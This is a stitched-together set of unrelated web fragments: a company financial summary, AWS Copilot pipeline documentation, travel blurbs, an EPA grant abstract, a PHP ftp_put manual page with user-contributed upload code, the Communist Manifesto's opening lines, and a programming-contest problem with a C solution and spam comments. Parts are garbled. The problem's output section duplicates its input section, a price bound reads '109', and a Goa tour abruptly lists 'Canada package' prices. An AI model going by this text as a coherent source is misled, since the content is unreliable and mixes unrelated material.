JINGWEI actively promoted industrial and financial integration, invested in financial trust business, accelerated the development of the textile industry, and achieved good results.. As a public listed company that landed in the capital market earlier in China, JINGWEI optimized the corporate governance to construct a harmonious relationship among shareholders, society, environment, employees and other stakeholders.
By December 31, 2016, JINGWEI had total assets of 35.3 billion yuan, operating revenue of 1.04 billion yuan, total profit of 3 billion yuan, and asset-liability ratio of 55.08 %.


Subtractive Synthesizer
Polyphony
Design a multi-oscillator polyphonic synthesizer with effects.
- Press a key to trigger a voice:
[ a, w, s, e, d, f, t, g, y, h, j, k ]
- Tweak the mix balance of 3 oscillators and detune parameters.
- Tweak envelopes for the filter and amplifier.
- Tweak echo effect with the delay time and the feedback.


Pipelines
Having an automated release process is one of the most important parts of software delivery, so Copilot wants to make setting up that process as easy as possible 🚀.
In this section, we'll talk about using Copilot to set up a CodePipeline that automatically builds your service code when you push to your GitHub or AWS CodeCommit repository, deploys to your environments, and runs automated testing.
Why?
We won't get too philosophical about releasing software, but what's the point of having a release pipeline? With copilot deploy
you can deploy your service directly from your computer to ECS, so why add a middleman? That's a great question. For some apps, manually using deploy
is enough, but as your release process gets more complicated (as you add more environments or add automated testing, for example) you want to offload the boring work of repeatedly orchestrating that process to a service. With two services, each having two environments (test and production, say), running integration tests after you deploy to your test environment becomes surprisingly cumbersome to do by hand.
Using an automated release tool like CodePipeline helps make your release manageable. Even if your release isn't particularly complicated, knowing that you can just git push
to deploy your change always feels a little magical 🌈.
Pipeline structure
Copilot can set up a CodePipeline for you with a few commands - but before we jump into that, let's talk a little bit about the structure of the pipeline we'll be generating. Our pipeline will have the following basic structure:
- Source Stage - when you push to a configured GitHub or CodeCommit branch ('main' or 'master', respectively, by default), a new pipeline execution is triggered.
- Build Stage - after your source code is pulled from your repository host, your service's container image is built and published to every environment's ECR repository.
- Deploy Stages - after your code is built, you can deploy to any or all of your environments, with optional post-deployment tests or manual approvals.
Once you've set up a CodePipeline using Copilot, all you'll have to do is push to your GitHub or CodeCommit repository, and CodePipeline will orchestrate the deployments.
Want to learn more about CodePipeline? Check out their getting started docs.
Creating a Pipeline in 3 steps
Creating a Pipeline requires only three steps:
- Preparing the pipeline structure.
- Committing the generated
buildspec.yml
. - Creating the actual CodePipeline.
Follow the three steps below, from your workspace root:
$ copilot pipeline init
$ git add copilot/buildspec.yml && git commit -m "Adding Pipeline Buildspec" && git push
$ copilot pipeline update
✨ And you'll have a new pipeline configured in your application account. Want to understand a little bit more what's going on? Read on!
Setting up a Pipeline, step by step
Step 1: Configuring your Pipeline
Pipeline configurations are created at a workspace level. If your workspace has a single service, then your pipeline will be triggered only for that service. However, if you have multiple services in a workspace, then the pipeline will build all the services in the workspace. To start setting up a pipeline, cd
into your service(s)'s workspace and run:
copilot pipeline init
This won't create your pipeline, but it will create some local files that will be used when creating your pipeline.
-
Release order: You'll be prompted for environments you want to deploy to - select them based on the order you want them to be deployed in your pipeline (deployments happen one environment at a time). You may, for example, want to deploy to your
test
environment first, and then yourprod
environment. -
Tracking repository: After you've selected the environments you want to deploy to, you'll be prompted to select which repository you want your CodePipeline to track. This is the repository that, when pushed to, will trigger a pipeline execution. (If the repository you're interested in doesn't show up, you can pass it in using the
--url
flag.) -
Personal access token: If you have selected a GitHub repository, you'll need to provide a GitHub Personal Access Token in order for CodePipeline to track that repository. You can read how to do that here. Your token needs to have repo and admin:repo_hook permissions (so CodePipeline can create a webHook on your behalf). Your GitHub Personal Access Token is stored securely in AWS Secrets Manager.
Step 2: Updating the Pipeline manifest (optional)
Just like your service has a simple manifest file, so does your pipeline. After you run pipeline init
, two files are created: pipeline.yml
and buildspec.yml
, both in your copilot/
directory. If you poke in, you'll see a file that looks something like this (for a service called "api-frontend" with two environments, "test" and "prod"):
# This YAML file defines the relationship and deployment ordering of your environments.
# The name of the pipeline
name: pipeline-ecs-kudos-kohidave-demo-api-frontend
# The version of the schema used in this template
version: 1
# This section defines the source artifacts.
source:
# The name of the provider that is used to store the source artifacts.
provider: GitHub
# Additional properties that further specifies the exact location
# the artifacts should be sourced from. For example, the GitHub provider
# has the following properties: repository, branch.
properties:
access_token_secret: github-token-ecs-kudos-demo-api-frontend
branch: main
repository: https://github.com/kohidave/demo-api-frontend
# The deployment section defines the order the pipeline will deploy
# to your environments.
stages:
- # The name of the environment to deploy to.
name: test
test_commands:
- make test
- echo "woo! Tests passed"
- # The name of the environment to deploy to.
name: prod
# requires_approval: true
There are 3 main parts of this file: the name
field, which is the name of your CodePipeline, the source
section, which details the repository and branch to track, and the stages
section, which lists the environments you want this pipeline to deploy to. You can update this anytime, but you must run copilot pipeline update
afterwards.
Typically, you'll update this file if you add new environments you want to deploy to, or want to track a different branch.
Step 3: Updating the Buildspec (optional)
Along with pipeline.yml
, the pipeline init
command also generated a buildspec.yml
file in the copilot/
directory. This contains the instructions for building and publishing your service. If you want to run any additional commands, besides docker build
, such as unit tests or style checkers, feel free to add them to the buildspec's build
phase.
When this buildspec runs, it pulls down the version of Copilot which was used when you ran pipeline init
, to ensure backwards compatibility.
Step 4: Creating your Pipeline
Now that your pipeline.yml
and buildspec.yml
are created, check them in and push them to your repository. The buildspec.yml
is needed for your pipeline's build
stage to run successfully. Once you've done that, to actually create your pipeline run:
copilot pipeline update
This parses your pipeline.yml
, creates a CodePipeline in the same account and region as your project and kicks off a pipeline execution. Log into the AWS Console to watch your pipeline go.
Adding Tests
Of course, one of the most important parts of a pipeline is the automated testing. To add your own test commands, include the commands you'd like to run after your deploy step in the test_commands
section. If all the commands succeed, your change is promoted to the next stage.
Adding test_commands
generates a CodeBuild project with the aws/codebuild/amazonlinux2-x86_64-standard:3.0 image - so most commands from Amazon Linux 2 (including make
) are available for use.
In the example below, the pipeline will run the make test
command (in your source code directory) and only promote the change to the prod stage if that command exits successfully.
name: pipeline-ecs-kudos-kohidave-demo-api-frontend
version: 1
source:
provider: GitHub
properties:
access_token_secret: github-token-ecs-kudos-demo-api-frontend
branch: main
repository: https://github.com/kohidave/demo-api-frontend
stages:
-
name: test
# A change will only deploy to the production stage if the
# make test and echo commands exit successfully.
test_commands:
- make test
- echo "woo! Tests passed"
-
name: prod


Tour of new and old Goa seeing the typical Portuguese Goan architecture and the Basilica of Bom Jesus, where the remains of St Francis Xavier lie in a dazzling silver casket
Take a boat cruise on the river Mandovi
Relax on the beaches in Goa
Try out Goan food and Fenny (a speciality Goan liquor made from coconut)
Places to vist in goa & main attractions to vist
- fort agunda
- agonda beach
- rock formations
- temples
Here the
Canada package includes all modes of transport i.e.,
- Air :
The basic price for air ways which includes first class and economic class 3000$ usd.
- Train :
The price for train is 2000$ usd.
- Bus :
The price for bus ways is 1500$ usd.


Horizontal Hybrid Solar Light Pipe: an Integrated System of Daylight and Electric Light
EPA Grant Number: SU834349Title: Horizontal Hybrid Solar Light Pipe: an Integrated System of Daylight and Electric Light
Investigators: Beltrán, Liliana O.
Current Investigators: Beltrán, Liliana O. , Camacho, Gema , Diaz, Oscar , Farias, Francisco , Fernández-Solis, José , Gignac, Nicholas , Jiang, Yin , Lee, Johnny , Mansour, Nesrine , Miller, Paul , Negandhi, Vanita , Pathak, Rutuparna , Porwal, Vishal , Shirodkar, Rohan , Wang, Julian
Institution: Texas A & M University
EPA Project Officer: Nolt-Helms, Cynthia
Phase: I
Project Period: August 15, 2009 through August 14, 2010
Project Amount: $10,000
RFA: P3 Awards: A National Student Design Competition for Sustainability Focusing on People, Prosperity and the Planet (2009) RFA Text | Recipients Lists
Research Category: Pollution Prevention/Sustainable Development , P3 Challenge Area - Built Environment , P3 Challenge Area - Energy , P3 Awards , Sustainability
Description:
This project will test the feasibility of an advanced energy efficient perimeter lighting system that integrates daylighting, electric lighting, and lighting controls to reduce electricity consumption. The system is designed to provide adequate illuminance levels in deep-floor plan spaces during building operating hours year-round.
Our proposed hybrid light pipe is a unique system that integrates daylight with high-efficiency electric light sources (i.e. LED, sulfur lamps) and intelligent lighting controls to offset the use of standard light sources in the core of buildings mainly during peak demand hours. Our team believes that technology is currently available to produce a hybrid solar lighting system based on the efficient design of a horizontal light pipe and the intelligent use of materials. It will be possible to passively introduce adequate light levels to illuminate areas between 15 to 40 feet from the perimeter of the building. Preliminary evaluation of the light pipe has shown that it can provide high illuminance levels, 300-1,500lux at the back of the space (15-30ft) for more than 7 hours (between 8:45am to 4:15pm) under clear skies.
Objective:
The goals of this project are to: (1) quantify the energy savings of an integrated hybrid solar light pipe system over extended periods throughout the year; and (2) give students invaluable hands-on learning experiences in high-efficiency lighting design. The proposed system will passively integrate daylight and electric lighting in a single unit. The objectives of the proposed lighting unit are to: (1) extend the daylighted area of the perimeter zone of the building from 15 feet to 40 feet; (2) provide adequate brightness at the back of typical spaces without the associated high daylight/ solar radiation levels near the windows; (3) integrate auxiliary electric lighting; and, (4) reduce the energy consumption in buildings and slow fossil fuel depletion.
Approach:
To develop the lighting system, the team will execute the following tasks: (1) research of materials and selection of individual components; (2) design and computer modeling of proposed light pipe; (3) lighting design optimization (daylight and electric light); (4) design/ interaction of electric light sources (color change capability and dimmable), and lighting controls; (5) construction of light pipe and assembling of components; (6) installation of system in testing room; (7) data acquisition set-up and preliminary data collection.
Expected Results:
The expected outcome of this research will be the construction and installation of the proposed lighting unit in an existing space (20 ft wide by 30 ft deep) at the TAMU-College Station campus. The system will be monitored continuously for a whole year to collect data of the lighting performance and energy consumption under different sky conditions and different sun position. The lighting performance of the light pipe will be assessed both quantitatively (illuminance and luminance levels) and qualitatively (visual inspection and High Dynamic Range photography).


$def with () $var jsfiles: taskedit/taskEdit.js taskedit/taskView.js taskedit/taskVersions.js taskedit/taskEditDebug.js taskedit/taskEditCodeblock.js taskedit/taskEditParams.js taskedit/taskEditSteps.js taskedit/taskEditCommandSpecific.js taskedit/taskStepVarsEdit.js ../../common/vendor/js/jquery/jquery.rightClick.js ../../common/vendor/js/jquery/ufd/jquery.ui.ufd.js toolbox.js tags.js parametersOnDialog.js taskLaunchDialog.js $var cssfiles: taskEdit.css taskView.css ../../common/vendor/js/jquery/ufd/css/ufd-base.css ../../common/vendor/js/jquery/ufd/css/plain/plain.css
Are you sure you want to delete this step?
Are you sure you want to remove this Command?
Are you sure you want to delete this Codeblock and all the Steps it contains?
Changing this Version to Approved status will permanently lock it.
(Once Approved, changes to this version will not be allowed.)
This action cannot be undone.
Are you sure you wish to Approve this Version?
Enter a name for the Codeblock:


ftp_put
(PHP 4, PHP 5, PHP 7)
ftp_put — 上传文件到 FTP 服务器
说明
bool ftp_put ( resource $ftp_stream , string $remote_file , string $local_file
, int $mode [, int $startpos ] )
ftp_put() 函数用来上传由 local_file 参数指定的文件到 FTP 服务器，上传后的位置由
remote_file 指定。传输模式参数
参数
ftp_stream
FTP 连接资源。
remote_file
远程文件路径。
local_file
本地文件路径。
mode
传送模式，只能为 FTP_ASCII（文本模式）或 FTP_BINARY（二进制模式）。
startpos
返回值
成功时返回 TRUE，或者在失败时返回 FALSE。
范例
Example #1 ftp_put() 实例
更新日志
版本 说明
4.3.0 增加 startpos 参数。
参见
• ftp_pasv() - 返回当前 FTP 被动模式是否打开
• ftp_fput() - 上传一个已经打开的文件到 FTP 服务器
• ftp_nb_fput() - 将文件存储到 FTP 服务器（非阻塞）
• ftp_nb_put() - 存储一个文件至 FTP 服务器（non-blocking）
User Contributed Notes 30 notes
===============================================================================
ftp_put() overwrites existing files.
Again: trivial but not mentioned here.
===============================================================================
If when using ftp_put you get the one of the following errors:
Warning: ftp_put() [function.ftp-put]: Opening ASCII mode data connection
Warning: ftp_put() [function.ftp-put]: Opening BINARY mode data connection
and it creates the file in the correct location but is a 0kb file and all FTP
commands thereafter fail. It is likely that the client is behind a firewall. To
rectify this use:
Before executing any put commands. Took me so long to figure this out I
actually cheered when I did :D
===============================================================================
If you want to copy a whole directory tree (with subdiretories),
this function (ftp_copy) might be usefull. Tested with
php 4.2.2 and a Linux OS.
Example:
----------------------------------------------------------------
$conn_id = ftp_connect("server_adress");
...
$src_dir = "/from";
$dst_dir = "/to";
ftp_copy($src_dir, $dst_dir);
...
ftp_close($conn_id)
Function: ftp_copy()
----------------------------------------------------------------
function ftp_copy($src_dir, $dst_dir) {
global $conn_id;
$d = dir($src_dir);
while($file = $d->read()) {
if ($file != "." && $file != "..") {
if (is_dir($src_dir."/".$file)) {
if (!@ftp_chdir($conn_id, $dst_dir."/".$file)) {
ftp_mkdir($conn_id, $dst_dir."/".$file);
}
ftp_copy($src_dir."/".$file, $dst_dir."/".$file);
}
else {
$upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file,
FTP_BINARY);
}
}
}
$d->close();
}
===============================================================================
Hi !
If you get this error when trying to send data to server :
Warning: ftp_put() [function.ftp-put]: Unable to build data connection:
Connection timed out...
Two solutions :
- Add the program httpd.exe in your exception list for external connexions of
your firewall. Indeed, the FTP protocol open a new socket for data transfer.
And this socket is opened from the server to the client (your computer). This
program is located (for WAMP) in C:\wamp\bin\apache\Apache[version]\bin\
- Use the ftp_pasv() function to activate the passive mode. In this mode, it is
the client who open the new socket to the server.
===============================================================================
I had a little trouble getting the ftp_put to work, because of that particular
server. All variables and data parsed from the previous web form had to be
retreived using $_POST, $_GET or $_FILES.
If you don't know what you sent use phpinfo(); to display what the server
thinks about your data.
so...when sending files using a form and PHP, make sure that all the data (text
files etc...) are retreived with $_POST, and files (smiley.png,
compression.zip, etc...) are retreived with $_FILES.
here's what your start of a results.php file might look like:
Now when it comes to transmitting that information...
hope this is usefull ^_^
===============================================================================
If you are having timeouts uploading a file, even very small files, you might
have a look at ftp_pasv()
And don't forget to do it after your ftp_login();
koen
===============================================================================
Got this cryptic error
Warning: ftp_put() [function.ftp-put]: 'STOR' not understood in
C:\wamp\www\kevtest\ftp_todays.php on line 48
Found the prob, you can't put a path to the destination file
(even though I can do that in the dos ftp client...?)
e.g. - this doesn't work
ftp_put($conn, '/www/site/file.html','c:/wamp/www/site/file.html',FTP_BINARY);
you have to put
===============================================================================
The following is a fully tested function (based on a previous note) that
recursively puts files from a source directory to a destination directory. See
http://rufy.com/tech/archives/000026.html for more information.
NOTE: use full path name for the destination directory and the destination
directory must already exist
function ftp_putAll($conn_id, $src_dir, $dst_dir) {
$d = dir($src_dir);
while($file = $d->read()) { // do this for each file in the directory
if ($file != "." && $file != "..") { // to prevent an infinite loop
if (is_dir($src_dir."/".$file)) { // do the following if it is a
directory
if (!@ftp_chdir($conn_id, $dst_dir."/".$file)) {
ftp_mkdir($conn_id, $dst_dir."/".$file); // create
directories that do not yet exist
}
ftp_putAll($conn_id, $src_dir."/".$file, $dst_dir."/".$file); /
/ recursive part
} else {
$upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/
".$file, FTP_BINARY); // put the files
}
}
}
$d->close();
}
===============================================================================
I was trying to upload WAV files using FTP_ASCII and the file was full of noise
after uploading.
So for WAV files use FTP_BINARY.
Hope it helps.
===============================================================================
Here is the Code I am using for the same function with more flexibility in
static code:
$name = "FILE NAME";
$filename = "FILE NAME WITH FULL PATH";
//-- Code to Transfer File on Server Dt: 06-03-2008 by Aditya Bhatt --//
//-- Connection Settings
$ftp_server = "IP ADDRESS"; // Address of FTP server.
$ftp_user_name = " SERVER USERNAME"; // Username
$ftp_user_pass = " SERVER PASSWORD"; // Password
$destination_file = " SERVER FILE PATH TO UPLOAD VIA FTP_PUT"; //where you want
to throw the file on the webserver (relative to your login dir)
$conn_id = ftp_connect($ftp_server) or die("
Couldn't connect to $ftp_server
"); // set up basic
connection
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("
You do not have access to this ftp server!
"); // login with username and password, or give invalid user message
if ((!$conn_id) || (!$login_result)) { // check connection
// wont ever hit this, b/c of the die call on ftp_login
echo "FTP connection has failed!
";
echo "Attempted to connect to $ftp_server for user $ftp_user_name
span>";
exit;
} else {
//echo "Connected to $ftp_server, for user $ftp_user_name
";
}
$upload = ftp_put($conn_id, $destination_file.$name, $filename, FTP_BINARY); /
/ upload the file
if (!$upload) { // check upload status
echo "FTP upload of $filename has failed!
h2>
";
} else {
echo "Uploading $name Completed
Successfully!
";
}
ftp_close($conn_id); // close the FTP stream
?>
===============================================================================
I [had an error for which] ftp_pasv didnt solve the problem. Here's why:
FTP uses 2 connections on different ports, one for connection/handshake and
another for data transfer.
The problem was that the ftp-server (that php was connecting to) also used
different IP-addresses for the different connections (say what!?).
Normally the firewall (csf) detects ftp-connections and allows them through but
because of the different IP-adresses this didn't work.
Solution:
1 angry mail to the ftp server owner.
Allowing the second IP in the firewall.
===============================================================================
Hi,
I try to upload one text file represente CSV with tab separator thru FTP
connection.
i'm using :
ftp_put($connect_id, $fileFullName, $localFile, FTP_ASCII);
everything goes fine, but txt file in destination server get white line between
dataline...
i try :
ftp_put($connect_id, $fileFullName, $localFile, FTP_BINARY);
and everything goes fine.
so, lets do it in binary mode.
===============================================================================
This is an extremely trivial thing but one that had me stumped forever (well,
until I decided to check the error logs and see the error). I had a large file
(mysql backup of a huge forum) that was only partially being uploaded to a
remote backup server. Couldn't figure out why, until I realized that the max
execution time was being hit since it was taking longer than 30 seconds to
upload this file.
That did the trick. It's one of those dumb, trivial things, and if you're
having trouble like I, it may be something you overlooked.
===============================================================================
When using versions of PHP below 4.04b4, the ftp_put command doesn't work on NT
/IIS4. Most of the other functions will work, but there was a bug while trying
to send upstream data to an IIS webserver.
===============================================================================
In case you aren't aware... Some web hosting services do NOT allow outbound
ftp unless you have a dedicated server account. A "shared" hosting account
often doesn't have this capability.
So if you can't get your ftp, curl, or ssh remote file transfer functions to
work, check with the host service and ask. You may have to upgrade your
account.
===============================================================================
I've seen two notes about a "ftp_copy" function but i think there's a
misinterpretation about what an "ftp_copy" function should do. For me , it
should be something like an ftp_rename that would keep the orginal file and
clone it somewhere else on the same ftp server, as for them they consider its
purpose is to copy a local file to a distant ftp ..well .. as in FTP protocol
there's no such thing as an FTP COPY command anyway, i think you're free to
interpret it as you want.
So here's my solution using ftp_put and ftp_get ..
===============================================================================
ftp_put() can display confusing warning messages as it returns one line of the
remote server's response which may be multi lined.
If you're transferring large amounts of files note that some file systems only
support up to 2000 files per directory. This had me stumped for a while.
===============================================================================
Currently, there is no function that lets you specifiy the file's contents as a
string. However, there is ftp_fput(), which operates on an open file. Using
this function in conjunction with tmpfile() lets you emulate this kind of
function. (You could also use php://memory, but this breaks BC).
===============================================================================
If you are moving files from one folder to another inside the same server, the
"local file" field has to be indicated in a relative path according to the
location of the script running the ftp_put() function.
For example, your function is running on: /public_html/do_ftp.php and you want
to move /public_html/products.php to /public_html/backup/products.php
The correct way to build the function would be:
ftp_put($ftp_id, '/public_html/backup/products.php', 'products.php',
FTP_ASCII);
After having headaches for 2 days trying to make this function work using
absolute paths in both fields, I finally found the right way to use it. I hope
it helps someone. Excuse my english, it isn't my native language.
===============================================================================
I'm copying fairly large backup files from server to server. ftp_put was
running fine for awhile until it occasionally began reporting errors.
When I set TRUE as the value for the ftp_pasv () (after login), ftp_put started
working again.
===============================================================================
if you examine the first user submitted function, ftp_putAll, it will work only
if you extract this line and its matching bracket.
if (!@ftp_chdir($conn_id, $dst_dir."/".$file))
The function will have changed into that directory before having uploaded files
to it. This alters your upload path and the system will try to upload into an
essentially non-existent directory (duped at the end).
Hope this helps some of you.
Cheers.
Saeven
===============================================================================
Here is a fix for the function from lucas at rufy dot com below that will
recursively put files from a source directory to a destination directory. As
written below, it won't put a file in a directory that already exists, because
the the destination is altered. So here is the corrected function that will
allow it to work:
function ftp_putAll($conn_id, $src_dir, $dst_dir) {
$d = dir($src_dir);
while($file = $d->read()) { // do this for each file in the directory
if ($file != "." && $file != "..") { // to prevent an infinite loop
if (is_dir($src_dir."/".$file)) { // do the following if it is a
directory
if (!@ftp_nlist($conn_id, $dst_dir."/".$file)) {
ftp_mkdir($conn_id, $dst_dir."/".$file); // create
directories that do not yet exist
}
ftp_putAll($conn_id, $src_dir."/".$file, $dst_dir."/".$file); //
recursive part
} else {
$upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/
".$file, FTP_BINARY); // put the files
}
}
}
$d->close();
}
===============================================================================
victor at nobel dot com dot br wrote that
the correct dirpath format excluded "/home/USER/" from the public path, but for
my server, i had to use it in order to get my scripts to work.
it may be obvious to most but I'm positing that you cannot use the $_SERVER
['DOCUMENT_ROOT'] path since FTP starts at your top-level and therefore
bypasses (or just plain doesn't recognize) most of the virtual server pathing.
===============================================================================
I spent some time debugging a silly problem:
In php >= 5, ftp_put() will apparently rewind to the start of the file
regardless of the state you left it in before sending it to the $host.
I found this out because I wasn't closing the file handle before using ftp_put
(). Since I had just written to the file, the file pointer must have been
located at the *bottom*.
I was sending a 0-byte file on php 4.2.2., but worked fine on php 5.
So, just a heads up, don't forget to close those filehandles. Even though I was
using the filename as the argument for ftp_put, it still needs to be closed.
I did not call rewind on the file handle, just fclose($file_h).
===============================================================================
This solution to a common problem is implied elsewhere, but I thought it might
be useful to put it all in one place (since I spent hours piecing it together!)
Sometimes a web host will open PHP sessions with a user of 'nobody'. Files
created by this user may not have the correct permissions to allow management
of those files by the actual owner of the site. The following script allows
the actual owner to open access to a directory so that 'nobody' can create a
file using fopen(). Then using the handle created by 'nobody', the ftp_fput()
command saves the file with the correct owner. The file 'nobody' created is
discarded.
$connection = ftp_connect($ftpServer);
ftp_login($connection, $ftpUser, $ftpPass);
ftp_chdir($connection, $ftpDir);
// open the directory so that 'nobody' can create a temporary file
ftp_site($cn, "CHMOD 777 $ftpDir");
$new="tempFile";
@unlink($new); // just in case
$handle=fopen($new,"x");
chmod($new,0777);
fputs($handle,"a bunch of stuff...");
fclose($handle); // have to rewind
$handle=fopen("tempFile","r");
ftp_fput($connection, "finalFile", $handle, FTP_ASCII);
fclose($handle);
unlink($new);
// remove open access to the directory
ftp_site($connection, "CHMOD 755 $ftpDir")
ftp_close($connection);
?>
===============================================================================
Took me forever to work out but this will work if you get the paths right!
Login to your site using an FTP client to retrieve the $ftp_root
Use something like getcwd() to get the $site root
===============================================================================
If you are getting the very helpful warnings...
"Opening BINARY mode data connection" or
"Opening ASCII mode data connection"
... and have tried ftp_pasv, ftp_alloc, switching between FTP_ASCII or
FTP_BINARY and blaming the FTP provider (like I did), try using ftp_close then
ftp_connect to reset your FTP connection. Worked for me!
===============================================================================
Hi,
I try to upload one text file represente CSV with tab separator thru FTP
connection.
i'm using :
ftp_put($connect_id, $fileFullName, $localFile, FTP_ASCII);
everything goes fine, but txt file in destination server get white line between
dataline...
i try :
ftp_put($connect_id, $fileFullName, $localFile, FTP_BINARY);
and everything goes fine.
so, lets do it in binary mode.
===============================================================================
Simple FTP Upload Script using PHP by 2netlodge
";
if(!$filename)
{
echo"Please select a file";
}
else
{
ftp_put($connect,$d.'/'.$filename,$tmp,FTP_ASCII)or die("Unable
to upload");
echo"File successfully uploaded to FTP";
}
}
?>
===============================================================================
Friends,
If you wanna upload files from your harddisk by a form to a specified ftp this
sample can help you...
First of all create the form:
The critical point in this form is the usage of enctype="multipart/form-data"
If you don't use this part your upload operations won't work.
Then u must create sendimage.php as follows:
Connected to $ftp_server, for user $user
";
}
//directorylike /www.velibaba.com/images
ftp_chdir($conn_id, "www.velibab.com");
ftp_chdir($conn_id, "compimages");
//$destination_file=ftp_pwd($conn_id);
$destination_file="x.jpg";
echo ("
");
print $destination_file;
echo ("
");
// upload the file
$upload = ftp_put($conn_id, $destination_file, $source_file, FTP_BINARY);
// check upload status
if (!$upload) {
echo "FTP upload has failed!";
} else {
echo "Uploaded $source_file to $ftp_server as $destination_file";
}
// close the FTP stream
ftp_close($conn_id);
?>
In this example code $source_file is the path of the file in your disk, and
destination file is the name of the uploaded file in ftpserver.
In this code I use ftp_chdir to give the path of the
uploaded file within ftpserver..
For your questions about all categories of PHP my<EMAIL_ADDRESS>c u...


A spectre is haunting Europe --- the spectre of communism. All the powers of old Europe have entered into a holy alliance to exorcise this spectre: Pope and Tsar, Metternich and Guizot, French Radicals and German police-spies. Where is the party in opposition that has not been decried as communistic by its opponents in power? Where is the opposition that has not hurled back the branding reproach of communism, against the more advanced opposition parties, as well as against its reactionary adversaries?
2016/10/20 16:06
Room 205
2016/10/30 16:06
Room 206
2016/11/30 16:06
Room ICT


Get feedback from real users about your app.
View data about your app and reported issues.
Keep track of reported bugs and fixes.


Online Shopping
问题描述 :
The Internet becomes more and more important for our daily life. Aside from information retrieval, many people use the web for comfortable shopping from their home PCs. As the number of online customers grows, so does the number of websites dedicated to comparing online prices. Competitive sites need to quickly visualize the cheapest offers for a certain product. Barter & Haggle Inc. has recently been successful in the field of comparing online prices. However, as more and more comparable services appear, B&H has trouble conserving their market share. This is why the company has decided to improve its technology by comparing prices for different online shops and products simultaneously. The engineers have not been capable of implementing the visualization algorithm, though. This is where you come into play.
Given a table of prices for different products at different online stores, you need to find an optimal reordering of the rows and columns. In order to compare different reorderings, we define the table string to be the string of cells that is obtained from a table by appending all columns. An optimal reordering has the smallest table string with respect to lexicographical comparison (the table string is compared cell-wise).
输入:
The inputs start with a line containing a single integer n. Each of the n following lines contains one test case. Each test case starts with two integers 1 <= a, b <= 5, the number of products and online shops respectively.
The table string consisting of the prices separated by single spaces follows. Each price p is given as an integer amount of cents with 0 <= p <= 109.
The table string consisting of the prices separated by single spaces follows. Each price p is given as an integer amount of cents with 0 <= p <= 109.
输出:
The inputs start with a line containing a single integer n. Each of the n following lines contains one test case. Each test case starts with two integers 1 <= a, b <= 5, the number of products and online shops respectively.
The table string consisting of the prices separated by single spaces follows. Each price p is given as an integer amount of cents with 0 <= p <= 109.
The table string consisting of the prices separated by single spaces follows. Each price p is given as an integer amount of cents with 0 <= p <= 109.
样例输入:
2 3 2 3999 5000 4000 4000 12999 9999 4 3 120 120 110 120 80 75 250 50 200 55 80 80
样例输出:
Scenario #1: 3999 5000 4000 4000 12999 9999 Scenario #2: 50 200 250 80 75 120 80 80 55 120 110 120
#include <stdio.h> #include <malloc.h> int p[120][5], now, he[6] = {1, 1, 2, 6, 24, 120}; int n, m, **map, **tmp, **ans; int** dm(int n, int m) { int i; int *t = (int *)malloc(sizeof(int) * n * m); int **pp = (int **)malloc(sizeof(int *) * n); for(i = 0; i < n; ++i) { pp[i] = t + i * m; } return pp; } void deld(int ** pp) { free(*pp); free(pp); } void p_f(int x) { int i, j, bef = now - 1; if(x == 0) return; for(i = 0; i < x; ++i) { for(j = 0; j < 5; ++j) p[now][j] = p[bef][j]; p[now][i] = p[bef][x]; p[now][x] = p[bef][i]; now++; for(j = 1; j < x; ++j) p_f(j); } return; } void cmp() { int i, k = 0; for(i = 0; i < n * m; ++i) { if(*(*ans + i) > *(*tmp + i)) { k = 1; break; } if(*(*ans + i) < *(*tmp + i)) break; } if(k == 1) { for(i = 0; i < n * m; ++i) { *(*ans + i) = *(*tmp + i); } } } void bl(int a, int b) { int i, j; for(i = 0; i < n; ++i) { for(j = 0; j < m; ++j) { tmp[p[a][i]][p[b][j]] = map[i][j]; } } cmp(); } int main() { int i, j, t, tt; p[0][0] = 0; p[0][1] = 1; p[0][2] = 2; p[0][3] = 3; p[0][4] = 4; now = 1; for(i = 1; i < 5; ++i) p_f(i); /* printf("%d\n\n", now); for(i = 0; i < 120; ++i) { for(j = 0; j < 5; ++j) printf("%d ", p[i][j]); printf("\n"); } */ scanf("%d", &t); for(tt = 0; tt < t; ++tt) { scanf("%d %d", &n, &m); map = dm(n, m); tmp = dm(n, m); ans = dm(n, m); for(i = 0; i < n; ++i) { for(j = 0; j < m; ++j) { scanf("%d", &map[i][j]); ans[i][j] = map[i][j]; } } for(i = 0; i < he[n]; ++i) { for(j = 0; j < he[m]; ++j) { bl(i, j); } } printf("Scenario #%d:\n", tt + 1); for(i = 0; i < n * m; ++i) { printf("%d", *(*ans + i)); if(i != (n * m - 1)) printf(" "); } printf("\n\n"); deld(ans); deld(map); deld(tmp); } return 0; }
(adsbygoogle = window.adsbygoogle || []).push({});
我也被这农历阳历整晕了
我也被这农历阳历整晕了
我也被这农历阳历整晕了
我也被这农历阳历整晕了
我也被这农历阳历整晕了
我也被这农历阳历整晕了
我也被这农历阳历整晕了
我也被这农历阳历整晕了
我也被这农历阳历整晕了
我也被这农历阳历整晕了
我也被这农历阳历整晕了
我也被这农历阳历整晕了
我也被这农历阳历整晕了
都是一些基础题啊
赞！！~~大赞！！~
Good task for the group. Hold it up for every yeara??s winner. This is a excellent oppotunity for a lot more enhancement. Indeed, obtaining far better and much better is constantly the crucial. Just like my pal suggests on the truth about ab muscles, he just keeps obtaining much better.
wt[n - 1]没错，因为下标是[0...n-1]
第一个真的要比较两次吗，换成else if 不可以吗
对于输出格式不用控制？？还是直接使用cout输出。？？
这代码的输出格式不对阿，else语句的low=p移动一下位置，增加可读性
C语言版本的代码好像有点问题
给力，赞一个
int half(int *array,int len,int key)
{
int l=0,r=len;
while(l<r)
{
int m=(l+r)>>1;
if(key>array )l=m+1;
else if(key<array )r=m;
else return m;
}
return -1;
}
这种就能避免一些Bug
l,m,r
左边是l,m;右边就是m+1,r;
我觉得是D哎……
对，就是把这32位当成一个长度为32的数组
very good solutions.


Hide the following elements when active:
Hot Network Questions
Hire Me
Community Bulletin
Newsletter Ad
Chat Feature
Save


{%- extends "base.html" %} {% import "bootstrap/wtf.html" as wtf %} {% block content %}
| Disease | Condition | Treatment |
|---|---|---|
| {{ diag.disease }} | {{ diag.condition }} | {{ diag.treatment }} |
| Patient First Name | Patient Last Name | |
|---|---|---|
| {{ patient.first_name }} | {{ patient.last_name }} | {{ patient.email }} |
| Patient First Name | Patient Last Name | Medication | Description | Created By |
|---|---|---|---|---|
